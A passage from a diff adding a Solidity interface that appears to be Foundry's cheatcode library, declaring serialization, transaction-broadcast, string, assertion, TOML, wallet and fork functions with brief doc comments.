+    /// See `serializeJson`.
+    function serializeInt(string calldata objectKey, string calldata valueKey, int256 value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeInt(string calldata objectKey, string calldata valueKey, int256[] calldata values) external returns (string memory json);
+
+    /// Serializes a key and value to a JSON object stored in-memory that can be later written to a file.
+    /// Returns the stringified version of the specific JSON file up to that moment.
+    function serializeJson(string calldata objectKey, string calldata value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeString(string calldata objectKey, string calldata valueKey, string calldata value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeString(string calldata objectKey, string calldata valueKey, string[] calldata values) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeUint(string calldata objectKey, string calldata valueKey, uint256 value) external returns (string memory json);
+
+    /// See `serializeJson`.
+    function serializeUint(string calldata objectKey, string calldata valueKey, uint256[] calldata values) external returns (string memory json);
+
+    /// Write a serialized JSON object to a file. If the file exists, it will be overwritten.
+    function writeJson(string calldata json, string calldata path) external;
+
+    /// Write a serialized JSON object to an **existing** JSON file, replacing a value with key = <value_key.>
+    /// This is useful to replace a specific value of a JSON file, without having to parse the entire thing.
+    function writeJson(string calldata json, string calldata path, string calldata valueKey) external;
+
+    // ======== Scripting ========
+
+    /// Using the address that calls the test contract, has the next call (at this call depth only)
+    /// create a transaction that can later be signed and sent onchain.
+    function broadcast() external;
+
+    /// Has the next call (at this call depth only) create a transaction with the address provided
+    /// as the sender that can later be signed and sent onchain.
+    function broadcast(address signer) external;
+
+    /// Has the next call (at this call depth only) create a transaction with the private key
+    /// provided as the sender that can later be signed and sent onchain.
+    function broadcast(uint256 privateKey) external;
+
+    /// Using the address that calls the test contract, has all subsequent calls
+    /// (at this call depth only) create transactions that can later be signed and sent onchain.
+    function startBroadcast() external;
+
+    /// Has all subsequent calls (at this call depth only) create transactions with the address
+    /// provided that can later be signed and sent onchain.
+    function startBroadcast(address signer) external;
+
+    /// Has all subsequent calls (at this call depth only) create transactions with the private key
+    /// provided that can later be signed and sent onchain.
+    function startBroadcast(uint256 privateKey) external;
+
+    /// Stops collecting onchain transactions.
+    function stopBroadcast() external;
+
+    // ======== String ========
+
+    /// Parses the given `string` into an `address`.
+    function parseAddress(string calldata stringifiedValue) external pure returns (address parsedValue);
+
+    /// Parses the given `string` into a `bool`.
+    function parseBool(string calldata stringifiedValue) external pure returns (bool parsedValue);
+
+    /// Parses the given `string` into `bytes`.
+    function parseBytes(string calldata stringifiedValue) external pure returns (bytes memory parsedValue);
+
+    /// Parses the given `string` into a `bytes32`.
+    function parseBytes32(string calldata stringifiedValue) external pure returns (bytes32 parsedValue);
+
+    /// Parses the given `string` into a `int256`.
+    function parseInt(string calldata stringifiedValue) external pure returns (int256 parsedValue);
+
+    /// Parses the given `string` into a `uint256`.
+    function parseUint(string calldata stringifiedValue) external pure returns (uint256 parsedValue);
+
+    /// Replaces occurrences of `from` in the given `string` with `to`.
+    function replace(string calldata input, string calldata from, string calldata to) external pure returns (string memory output);
+
+    /// Splits the given `string` into an array of strings divided by the `delimiter`.
+    function split(string calldata input, string calldata delimiter) external pure returns (string[] memory outputs);
+
+    /// Converts the given `string` value to Lowercase.
+    function toLowercase(string calldata input) external pure returns (string memory output);
+
+    /// Converts the given value to a `string`.
+    function toString(address value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(bytes calldata value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(bytes32 value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(bool value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(uint256 value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(int256 value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given `string` value to Uppercase.
+    function toUppercase(string calldata input) external pure returns (string memory output);
+
+    /// Trims leading and trailing whitespace from the given `string` value.
+    function trim(string calldata input) external pure returns (string memory output);
+
+    // ======== Testing ========
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message.
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message.
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta) external pure;
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Includes error message into revert string on failure.
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Includes error message into revert string on failure.
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message.
+    function assertApproxEqRelDecimal(uint256 left, uint256 right, uint256 maxPercentDelta, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqRelDecimal(uint256 left, uint256 right, uint256 maxPercentDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message.
+    function assertApproxEqRelDecimal(int256 left, int256 right, uint256 maxPercentDelta, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqRelDecimal(int256 left, int256 right, uint256 maxPercentDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    function assertApproxEqRel(uint256 left, uint256 right, uint256 maxPercentDelta) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Includes error message into revert string on failure.
+    function assertApproxEqRel(uint256 left, uint256 right, uint256 maxPercentDelta, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    function assertApproxEqRel(int256 left, int256 right, uint256 maxPercentDelta) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Includes error message into revert string on failure.
+    function assertApproxEqRel(int256 left, int256 right, uint256 maxPercentDelta, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are equal, formatting them with decimals in failure message.
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `uint256` values are equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are equal, formatting them with decimals in failure message.
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `int256` values are equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `bool` values are equal.
+    function assertEq(bool left, bool right) external pure;
+
+    /// Asserts that two `bool` values are equal and includes error message into revert string on failure.
+    function assertEq(bool left, bool right, string calldata error) external pure;
+
+    /// Asserts that two `string` values are equal.
+    function assertEq(string calldata left, string calldata right) external pure;
+
+    /// Asserts that two `string` values are equal and includes error message into revert string on failure.
+    function assertEq(string calldata left, string calldata right, string calldata error) external pure;
+
+    /// Asserts that two `bytes` values are equal.
+    function assertEq(bytes calldata left, bytes calldata right) external pure;
+
+    /// Asserts that two `bytes` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes calldata left, bytes calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bool` values are equal.
+    function assertEq(bool[] calldata left, bool[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure.
+    function assertEq(bool[] calldata left, bool[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `uint256 values are equal.
+    function assertEq(uint256[] calldata left, uint256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `uint256` values are equal and includes error message into revert string on failure.
+    function assertEq(uint256[] calldata left, uint256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `int256` values are equal.
+    function assertEq(int256[] calldata left, int256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure.
+    function assertEq(int256[] calldata left, int256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are equal.
+    function assertEq(uint256 left, uint256 right) external pure;
+
+    /// Asserts that two arrays of `address` values are equal.
+    function assertEq(address[] calldata left, address[] calldata right) external pure;
+
+    /// Asserts that two arrays of `address` values are equal and includes error message into revert string on failure.
+    function assertEq(address[] calldata left, address[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are equal.
+    function assertEq(bytes32[] calldata left, bytes32[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes32[] calldata left, bytes32[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `string` values are equal.
+    function assertEq(string[] calldata left, string[] calldata right) external pure;
+
+    /// Asserts that two arrays of `string` values are equal and includes error message into revert string on failure.
+    function assertEq(string[] calldata left, string[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes` values are equal.
+    function assertEq(bytes[] calldata left, bytes[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes[] calldata left, bytes[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are equal and includes error message into revert string on failure.
+    function assertEq(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are equal.
+    function assertEq(int256 left, int256 right) external pure;
+
+    /// Asserts that two `int256` values are equal and includes error message into revert string on failure.
+    function assertEq(int256 left, int256 right, string calldata error) external pure;
+
+    /// Asserts that two `address` values are equal.
+    function assertEq(address left, address right) external pure;
+
+    /// Asserts that two `address` values are equal and includes error message into revert string on failure.
+    function assertEq(address left, address right, string calldata error) external pure;
+
+    /// Asserts that two `bytes32` values are equal.
+    function assertEq(bytes32 left, bytes32 right) external pure;
+
+    /// Asserts that two `bytes32` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes32 left, bytes32 right, string calldata error) external pure;
+
+    /// Asserts that the given condition is false.
+    function assertFalse(bool condition) external pure;
+
+    /// Asserts that the given condition is false and includes error message into revert string on failure.
+    function assertFalse(bool condition, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    function assertGe(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertGe(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    function assertGe(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertGe(int256 left, int256 right, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message.
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message.
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    function assertGt(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    /// Includes error message into revert string on failure.
+    function assertGt(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    function assertGt(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    /// Includes error message into revert string on failure.
+    function assertGt(int256 left, int256 right, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    function assertLe(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertLe(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    function assertLe(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertLe(int256 left, int256 right, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message.
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message.
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    function assertLt(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    /// Includes error message into revert string on failure.
+    function assertLt(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    function assertLt(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    /// Includes error message into revert string on failure.
+    function assertLt(int256 left, int256 right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are not equal, formatting them with decimals in failure message.
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `int256` values are not equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `bool` values are not equal.
+    function assertNotEq(bool left, bool right) external pure;
+
+    /// Asserts that two `bool` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bool left, bool right, string calldata error) external pure;
+
+    /// Asserts that two `string` values are not equal.
+    function assertNotEq(string calldata left, string calldata right) external pure;
+
+    /// Asserts that two `string` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(string calldata left, string calldata right, string calldata error) external pure;
+
+    /// Asserts that two `bytes` values are not equal.
+    function assertNotEq(bytes calldata left, bytes calldata right) external pure;
+
+    /// Asserts that two `bytes` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes calldata left, bytes calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bool` values are not equal.
+    function assertNotEq(bool[] calldata left, bool[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bool` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bool[] calldata left, bool[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `uint256` values are not equal.
+    function assertNotEq(uint256[] calldata left, uint256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `uint256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(uint256[] calldata left, uint256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `int256` values are not equal.
+    function assertNotEq(int256[] calldata left, int256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `int256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(int256[] calldata left, int256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are not equal.
+    function assertNotEq(uint256 left, uint256 right) external pure;
+
+    /// Asserts that two arrays of `address` values are not equal.
+    function assertNotEq(address[] calldata left, address[] calldata right) external pure;
+
+    /// Asserts that two arrays of `address` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(address[] calldata left, address[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are not equal.
+    function assertNotEq(bytes32[] calldata left, bytes32[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes32[] calldata left, bytes32[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `string` values are not equal.
+    function assertNotEq(string[] calldata left, string[] calldata right) external pure;
+
+    /// Asserts that two arrays of `string` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(string[] calldata left, string[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes` values are not equal.
+    function assertNotEq(bytes[] calldata left, bytes[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes[] calldata left, bytes[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are not equal.
+    function assertNotEq(int256 left, int256 right) external pure;
+
+    /// Asserts that two `int256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(int256 left, int256 right, string calldata error) external pure;
+
+    /// Asserts that two `address` values are not equal.
+    function assertNotEq(address left, address right) external pure;
+
+    /// Asserts that two `address` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(address left, address right, string calldata error) external pure;
+
+    /// Asserts that two `bytes32` values are not equal.
+    function assertNotEq(bytes32 left, bytes32 right) external pure;
+
+    /// Asserts that two `bytes32` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes32 left, bytes32 right, string calldata error) external pure;
+
+    /// Asserts that the given condition is true.
+    function assertTrue(bool condition) external pure;
+
+    /// Asserts that the given condition is true and includes error message into revert string on failure.
+    function assertTrue(bool condition, string calldata error) external pure;
+
+    /// If the condition is false, discard this run's fuzz inputs and generate new ones.
+    function assume(bool condition) external pure;
+
+    /// Writes a breakpoint to jump to in the debugger.
+    function breakpoint(string calldata char) external;
+
+    /// Writes a conditional breakpoint to jump to in the debugger.
+    function breakpoint(string calldata char, bool value) external;
+
+    /// Returns the RPC url for the given alias.
+    function rpcUrl(string calldata rpcAlias) external view returns (string memory json);
+
+    /// Returns all rpc urls and their aliases as structs.
+    function rpcUrlStructs() external view returns (Rpc[] memory urls);
+
+    /// Returns all rpc urls and their aliases `[alias, url][]`.
+    function rpcUrls() external view returns (string[2][] memory urls);
+
+    /// Suspends execution of the main thread for `duration` milliseconds.
+    function sleep(uint256 duration) external;
+
+    // ======== Toml ========
+
+    /// Checks if `key` exists in a TOML table.
+    function keyExistsToml(string calldata toml, string calldata key) external view returns (bool);
+
+    /// Parses a string of TOML data at `key` and coerces it to `address`.
+    function parseTomlAddress(string calldata toml, string calldata key) external pure returns (address);
+
+    /// Parses a string of TOML data at `key` and coerces it to `address[]`.
+    function parseTomlAddressArray(string calldata toml, string calldata key) external pure returns (address[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bool`.
+    function parseTomlBool(string calldata toml, string calldata key) external pure returns (bool);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bool[]`.
+    function parseTomlBoolArray(string calldata toml, string calldata key) external pure returns (bool[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes`.
+    function parseTomlBytes(string calldata toml, string calldata key) external pure returns (bytes memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes32`.
+    function parseTomlBytes32(string calldata toml, string calldata key) external pure returns (bytes32);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes32[]`.
+    function parseTomlBytes32Array(string calldata toml, string calldata key) external pure returns (bytes32[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes[]`.
+    function parseTomlBytesArray(string calldata toml, string calldata key) external pure returns (bytes[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `int256`.
+    function parseTomlInt(string calldata toml, string calldata key) external pure returns (int256);
+
+    /// Parses a string of TOML data at `key` and coerces it to `int256[]`.
+    function parseTomlIntArray(string calldata toml, string calldata key) external pure returns (int256[] memory);
+
+    /// Returns an array of all the keys in a TOML table.
+    function parseTomlKeys(string calldata toml, string calldata key) external pure returns (string[] memory keys);
+
+    /// Parses a string of TOML data at `key` and coerces it to `string`.
+    function parseTomlString(string calldata toml, string calldata key) external pure returns (string memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `string[]`.
+    function parseTomlStringArray(string calldata toml, string calldata key) external pure returns (string[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `uint256`.
+    function parseTomlUint(string calldata toml, string calldata key) external pure returns (uint256);
+
+    /// Parses a string of TOML data at `key` and coerces it to `uint256[]`.
+    function parseTomlUintArray(string calldata toml, string calldata key) external pure returns (uint256[] memory);
+
+    /// ABI-encodes a TOML table.
+    function parseToml(string calldata toml) external pure returns (bytes memory abiEncodedData);
+
+    /// ABI-encodes a TOML table at `key`.
+    function parseToml(string calldata toml, string calldata key) external pure returns (bytes memory abiEncodedData);
+
+    /// Takes serialized JSON, converts to TOML and write a serialized TOML to a file.
+    function writeToml(string calldata json, string calldata path) external;
+
+    /// Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = <value_key.>
+    /// This is useful to replace a specific value of a TOML file, without having to parse the entire thing.
+    function writeToml(string calldata json, string calldata path, string calldata valueKey) external;
+
+    // ======== Utilities ========
+
+    /// Compute the address of a contract created with CREATE2 using the given CREATE2 deployer.
+    function computeCreate2Address(bytes32 salt, bytes32 initCodeHash, address deployer) external pure returns (address);
+
+    /// Compute the address of a contract created with CREATE2 using the default CREATE2 deployer.
+    function computeCreate2Address(bytes32 salt, bytes32 initCodeHash) external pure returns (address);
+
+    /// Compute the address a contract will be deployed at for a given deployer address and nonce.
+    function computeCreateAddress(address deployer, uint256 nonce) external pure returns (address);
+
+    /// Derives a private key from the name, labels the account with that name, and returns the wallet.
+    function createWallet(string calldata walletLabel) external returns (Wallet memory wallet);
+
+    /// Generates a wallet from the private key and returns the wallet.
+    function createWallet(uint256 privateKey) external returns (Wallet memory wallet);
+
+    /// Generates a wallet from the private key, labels the account with that name, and returns the wallet.
+    function createWallet(uint256 privateKey, string calldata walletLabel) external returns (Wallet memory wallet);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path)
+    /// at the derivation path `m/44'/60'/0'/0/{index}`.
+    function deriveKey(string calldata mnemonic, uint32 index) external pure returns (uint256 privateKey);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path)
+    /// at `{derivationPath}{index}`.
+    function deriveKey(string calldata mnemonic, string calldata derivationPath, uint32 index) external pure returns (uint256 privateKey);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language
+    /// at the derivation path `m/44'/60'/0'/0/{index}`.
+    function deriveKey(string calldata mnemonic, uint32 index, string calldata language) external pure returns (uint256 privateKey);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language
+    /// at `{derivationPath}{index}`.
+    function deriveKey(
+        string calldata mnemonic,
+        string calldata derivationPath,
+        uint32 index,
+        string calldata language
+    ) external pure returns (uint256 privateKey);
+
+    /// Gets the label for the specified address.
+    function getLabel(address account) external view returns (string memory currentLabel);
+
+    /// Get a `Wallet`'s nonce.
+    function getNonce(Wallet calldata wallet) external returns (uint64 nonce);
+
+    /// Labels an address in call traces.
+    function label(address account, string calldata newLabel) external;
+
+    /// Adds a private key to the local forge wallet and returns the address.
+    function rememberKey(uint256 privateKey) external returns (address keyAddr);
+
+    /// Signs data with a `Wallet`.
+    function sign(Wallet calldata wallet, bytes32 digest) external returns (uint8 v, bytes32 r, bytes32 s);
+
+    /// Encodes a `bytes` value to a base64url string.
+    function toBase64URL(bytes calldata data) external pure returns (string memory);
+
+    /// Encodes a `string` value to a base64url string.
+    function toBase64URL(string calldata data) external pure returns (string memory);
+
+    /// Encodes a `bytes` value to a base64 string.
+    function toBase64(bytes calldata data) external pure returns (string memory);
+
+    /// Encodes a `string` value to a base64 string.
+    function toBase64(string calldata data) external pure returns (string memory);
+}
+
+/// The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used
+/// in tests, but it is not recommended to use these cheats in scripts.
+interface Vm is VmSafe {
+    // ======== EVM ========
+
+    /// Returns the identifier of the currently active fork. Reverts if no fork is currently active.
+    function activeFork() external view returns (uint256 forkId);
+
+    /// In forking mode, explicitly grant the given address cheatcode access.
+    function allowCheatcodes(address account) external;
+
+    /// Sets `block.chainid`.
+    function chainId(uint256 newChainId) external;
+
+    /// Clears all mocked calls.
+    function clearMockedCalls() external;
+
+    /// Sets `block.coinbase`.
+    function coinbase(address newCoinbase) external;
+
+    /// Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork.
+    function createFork(string calldata urlOrAlias) external returns (uint256 forkId);
+
+    /// Creates a new fork with the given endpoint and block and returns the identifier of the fork.
+    function createFork(string calldata urlOrAlias, uint256 blockNumber) external returns (uint256 forkId);
+
+    /// Creates a new fork with the given endpoint and at the block the given transaction was mined in,
+    /// replays all transaction mined in the block before the transaction, and returns the identifier of the fork.
+    function createFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
+
+    /// Creates and also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork.
+    function createSelectFork(string calldata urlOrAlias) external returns (uint256 forkId);
+
+    /// Creates and also selects a new fork with the given endpoint and block and returns the identifier of the fork.
+    function createSelectFork(string calldata urlOrAlias, uint256 blockNumber) external returns (uint256 forkId);
+
+    /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,
